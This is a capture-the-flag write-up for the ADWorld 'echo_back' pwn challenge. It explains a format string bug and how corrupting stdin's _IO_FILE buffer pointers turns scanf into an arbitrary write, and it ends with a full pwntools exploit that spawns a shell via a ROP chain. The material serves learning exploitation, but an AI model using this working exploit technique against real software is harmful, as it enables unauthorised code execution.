ADWorld PWN Challenge Area Write-ups (IO_FILE related)
TyeYeah Lv4

echo_back

Attachment: echo_back.zip
Description: None

It contains a format string vulnerability, and needs to attack scanf in IO_FILE.

Information

Unzip:

1
2
3
4
$ unzip echo_back.zip
Archive: echo_back.zip
inflating: echo_back
inflating: libc.so.6

And check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ file echo_back
echo_back: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=232ab9c69cf82998f32667c8b2aca67bee869ee5, stripped
$ checksec echo_back
[*] '/root/echo_back'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // ST0C_4
__int64 result; // rax
signed int v5; // [rsp+8h] [rbp-18h]
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
initial();
alarm(0x3Cu);
banner();
v5 = 0;
memset(&s, 0, 8uLL);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
result = v3;
if ( v3 != 2 )
break;
echo_back(&s);
}
if ( (_DWORD)result == 3 )
break;
if ( (_DWORD)result == 1 && !v5 )
{
set_name(&s);
v5 = 1;
}
}
return result;
}

set_name:

1
2
3
4
5
ssize_t __fastcall set_name(void *a1)
{
printf("name:");
return read(0, a1, 7uLL);
}

echo_back:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall echo_back(_BYTE *a1)
{
size_t nbytes; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset((char *)&nbytes + 4, 0, 8uLL);
printf("length:", 0LL);
_isoc99_scanf("%d", &nbytes);
getchar();
if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
LODWORD(nbytes) = 7;
read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
if ( *a1 )
printf("%s say:", a1);
else
printf("anonymous say:", (char *)&nbytes + 4);
printf((const char *)&nbytes + 4);
return __readfsqword(0x28u) ^ v3;
}

Analysis

In echo_back() we find this format string vulnerability:

1
printf((const char *)&nbytes + 4);

We can leak things, but if we want to write something…

1
2
if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
LODWORD(nbytes) = 7;

The payload should be no longer than 7 bytes. So here uses format string to enable us to edit the _IO_FILE structure of stdin(_IO_2_1_stdin_)

Anyway, let’s leak something first. Go to where vulnerability occurs (printf((const char *)&nbytes + 4);) and check the stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# here is where we stop
pwndbg> context
...
─────────────────────────────────[ DISASM ]─────────────────────────────────
0x555555554c2c call printf@plt <0x555555554890>

0x555555554c31 jmp 0x555555554c44

0x555555554c44 lea rax, [rbp - 0x10]
0x555555554c48 mov rdi, rax
0x555555554c4b mov eax, 0
► 0x555555554c50 call printf@plt <0x555555554890>
format: 0x7fffffffe1a0 ◂— 0x746e65746e6f63 /* 'content' */
vararg: 0x7fffffffbb00 ◂— 0x206d616e656d616e ('namenam ')

0x555555554c55 nop
0x555555554c56 mov rax, qword ptr [rbp - 8]
0x555555554c5a xor rax, qword ptr fs:[0x28]
0x555555554c63 je 0x555555554c6a

0x555555554c65 call __stack_chk_fail@plt <0x555555554888>
...
# and here is what stack looks like
pwndbg> stack 30
00:0000│ rsp 0x7fffffffe180 ◂— 0x0
01:0008│ 0x7fffffffe188 —▸ 0x7fffffffe1d0 ◂— 0x6d616e656d616e /* 'namenam' */
02:0010│ 0x7fffffffe190 ◂— 0x555555550a32 /* '2\nUUUU' */
03:0018│ 0x7fffffffe198 ◂— 0x722aa5300
04:0020│ rdi 0x7fffffffe1a0 ◂— 0x746e65746e6f63 /* 'content' */
05:0028│ 0x7fffffffe1a8 ◂— 0xe825ac4022aa5300
06:0030│ rbp 0x7fffffffe1b0 —▸ 0x7fffffffe1e0 —▸ 0x555555554d30 ◂— push r15
07:0038│ 0x7fffffffe1b8 —▸ 0x555555554d08 ◂— jmp 0x555555554d0b
08:0040│ 0x7fffffffe1c0 —▸ 0x555555554d30 ◂— push r15
09:0048│ 0x7fffffffe1c8 ◂— 0x200000001
0a:0050│ r10 0x7fffffffe1d0 ◂— 0x6d616e656d616e /* 'namenam' */
0b:0058│ 0x7fffffffe1d8 ◂— 0xe825ac4022aa5300
0c:0060│ 0x7fffffffe1e0 —▸ 0x555555554d30 ◂— push r15
0d:0068│ 0x7fffffffe1e8 —▸ 0x7ffff7e20cca (__libc_start_main+240) ◂— mov edi, eax
0e:0070│ 0x7fffffffe1f0 —▸ 0x7fffffffe2d8 —▸ 0x7fffffffe4fc ◂— '/root/echo_back'
0f:0078│ 0x7fffffffe1f8 ◂— 0x100000000
10:0080│ 0x7fffffffe200 —▸ 0x555555554c6c ◂— push rbp
11:0088│ 0x7fffffffe208 —▸ 0x7ffff7e207d9 (init_cacheinfo+297) ◂— mov rbp, rax
12:0090│ 0x7fffffffe210 ◂— 0x0
13:0098│ 0x7fffffffe218 ◂— 0x32dccbb0e1bb4c3f
14:00a0│ 0x7fffffffe220 —▸ 0x5555555548e0 ◂— xor ebp, ebp
15:00a8│ 0x7fffffffe228 ◂— 0x0
... ↓
18:00c0│ 0x7fffffffe240 ◂— 0x67899ee5b83b4c3f
19:00c8│ 0x7fffffffe248 ◂— 0x67898ede62dd4c3f
1a:00d0│ 0x7fffffffe250 ◂— 0x0
... ↓
1d:00e8│ 0x7fffffffe268 ◂— 0x1
pwndbg>

The most obvious one is this with __libc_start_main, we can calculate libc base from it:

1
0d:0068│      0x7fffffffe1e8 —▸ 0x7ffff7e20cca (__libc_start_main+240) ◂— mov    edi, eax

And the old rbp address (in main() frame) is stored in rbp, from which we can infer the old return address (of main()), by adding 0x8.

1
06:0030│ rbp  0x7fffffffe1b0 —▸ 0x7fffffffe1e0 —▸ 0x555555554d30 ◂— push   r15

Here is the return address of echo_back(), and from this we can calculate main address:

1
07:0038│      0x7fffffffe1b8 —▸ 0x555555554d08 ◂— jmp    0x555555554d0b

But where it actually points to? It is not indicated in pwndbg, so we go back to binary:

1
2
3
4
.text:0000000000000C6C main            proc near               ; DATA XREF: start+1D↑o
...
.text:0000000000000D03 call echo_back
.text:0000000000000D08 jmp short loc_D0B

As we know, call in assembly codes can be interpreted as:

1
2
push IP ; push rip
jmp near ptr ; jmp echo_back

The rip here in binary is 0x0D08 and the main address is 0x0C6C, so the return address there should be main addr + (0x0C6C-0x0D08) = main addr + 0x9C. Therefore the main address(and elf base) can be obtained by leaking and calculating (- 0x9C).

By the way, as I input namename before, in set_name(), it is also stored in stack:

1
0a:0050│ r10  0x7fffffffe1d0 ◂— 0x6d616e656d616e /* 'namenam' */

And the things it reads in echo_back (read(0, (char *)&nbytes + 4, (unsigned int)nbytes);), I input content and find it at:

1
04:0020│ rdi  0x7fffffffe1a0 ◂— 0x746e65746e6f63 /* 'content' */

As for how to leak by exploiting format string vuln, because it’s on 64-bit, first 6 parameters of a func is stored in registers, so our payloads should be:

1
2
3
4
5
%10$p:  to get content
%12$p: to get 'rbp addr' in 'main()' frame
%13$p: to get 'ret addr' of 'echo_back()' and calculate 'main addr'
%16$p: to get the name we set in 'set_name()'
%19$p: to get address of '__libc_start_main'

Though we can control the program flow, we cannot write a only 7-byte payload/shellcode, so here we need to attack scanf. The scanf reads data from stdin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p * stdin
$1 = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}

Actually stdin, stdout and stderr are all _IO_FILE structures defined in glibc-2.23\libio\libio.h, announced in glibc-2.23\libio\stdio.h.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// in `glibc-2.23\libio\libio.h` --------------------------------------------

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

// in `glibc-2.23\libio\stdio.h` --------------------------------------------

/* Standard streams. */
extern struct _IO_FILE *stdin; /* Standard input stream. */
extern struct _IO_FILE *stdout; /* Standard output stream. */
extern struct _IO_FILE *stderr; /* Standard error output stream. */
/* C89/C99 say they're macros. Make them happy. */
#define stdin stdin
#define stdout stdout
#define stderr stderr

They are all file pointers, and in the file reading process it depends on _IO_new_file_underflow function to call the syscall _IO_SYSREAD. In file glibc-2.23\libio\fileops.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
// a limit
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
// action of `_IO_SYSREAD` is about `_IO_buf_base` and `_IO_buf_end`
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
// this helps to bypass first limit
fp->_IO_read_end += count;
...
// till the end
return *(unsigned char *) fp->_IO_read_ptr;
}

As _IO_buf_base and _IO_buf_end determine the action of _IO_SYSREAD, we can try to edit them to make it write wherever we want. Since we know the libc base addr, we can get where stdin(_IO_2_1_stdin_) is, therefore we can get where _IO_buf_base and _IO_buf_end are:

1
2
3
4
5
6
7
pwndbg> x/20gx stdin
_flags, _IO_read_ptr: 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963
_IO_read_end, _IO_read_base: 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963
_IO_write_base, _IO_write_ptr: 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963
_IO_write_end, _IO_buf_base: 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963
_IO_buf_end, _IO_save_base: 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1964 0x0000000000000000
_IO_backup_base, _IO_save_end: 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

Here we first enter set_name() and input the address of _IO_buf_base to let it appear on the stack, then use format string vuln in echo_back() to write only a \x00 to its end. It stored 0x00007ffff7dd1963 before, after overwriting it becomes 0x00007ffff7dd1900 which points to _IO_write_base.

1
2
3
4
5
6
7
8
9
10
pwndbg> p * stdin
$3 = {
...
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7dd1900 <_IO_2_1_stdin_+32> "",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
...
}

Our aim is to edit _IO_buf_base but we better dont change the value in other places. So next we write from where _IO_buf_base points (_IO_write_base = _IO_2_1_stdin_+4*8) to where _IO_buf_end points (probably_IO_2_1_stdin_+132).

Recover the value of _IO_write_base, _IO_write_ptr and _IO_write_end, write ret addr of main() to _IO_buf_base, and leave enough room for payload when writing _IO_buf_end.

After that we can write our payload directly to ret addr of main() when we next meet scanf(), but there is still a limit:

1
2
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

Though every getchar() gets _IO_read_ptr plus 1, there is:

1
fp->_IO_read_end += count;

So we have to run len(payload) times of getchar() to bypass this restriction. After the round in which we send payload, len(payload) - 1 rounds are needed.

Finally we can write our payload. Exit to trigger it.

Exploit

Here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('echo_back') # local test
sh = remote('220.249.52.133','36554')
elf = ELF('echo_back')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # local test
libc = ELF('libc.so.6')
def set_name(name):
sh.sendlineafter('choice>> ', '1')
sh.sendafter('name:',str(name))

def echo_back(sth, length=7):
sh.sendlineafter('choice>> ', '2')
sh.sendlineafter('length:', str(length)) # 7 is the max
sh.send(str(sth))

echo_back('%19$p')
sh.recvuntil('0x')
res = sh.recvuntil('-')
libc_start_main_addr = int(res[:-1],16) - 240
# leak __libc_start_main for libc base
libc_addr = libc_start_main_addr - libc.sym['__libc_start_main']
system_addr = libc_addr + libc.sym['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh').next()
IO_stdin_addr = libc_addr + libc.sym['_IO_2_1_stdin_']
IO_buf_base = IO_stdin_addr + 0x8 * 7
# leak main addr for elf base
echo_back('%13$p')
sh.recvuntil('0x')
res = sh.recvuntil('-')
main_addr = int(res[:-1],16) - 0x9c
elf_base = main_addr - 0x0c6c
pop_rdi = elf_base + 0x0d93
# leak old rbp to get ret addr and overwrite
echo_back('%12$p')
sh.recvuntil('0x')
res = sh.recvuntil('-')
main_rbp = int(res[:-1],16)
main_ret = main_rbp + 0x8
# next attack `scanf`
# overwrite lowest digit as 0
set_name(p64(IO_buf_base))
echo_back('%16$hhn')
# restore other values and change __IO_buf_base
payload = p64(IO_stdin_addr + 131)*3 + p64(main_ret) + p64(main_ret+0x8*3)
sh.sendlineafter('choice>> ','2')
sh.sendafter('length:',payload) # error if using 'sendlineafter'
sh.sendline('') # but the '\n' is needed
# to pass if (fp->_IO_read_ptr < fp->_IO_read_end)
for i in range(0,len(payload)-1):
sh.sendlineafter('choice>> ','2')
sh.sendlineafter('length:', '')

# write final payload
sh.sendlineafter('choice>> ','2')
final_payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
sh.sendlineafter('length:',final_payload) # here a seperated '\n' is also suggested

sh.sendlineafter('choice>> ','3')
sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k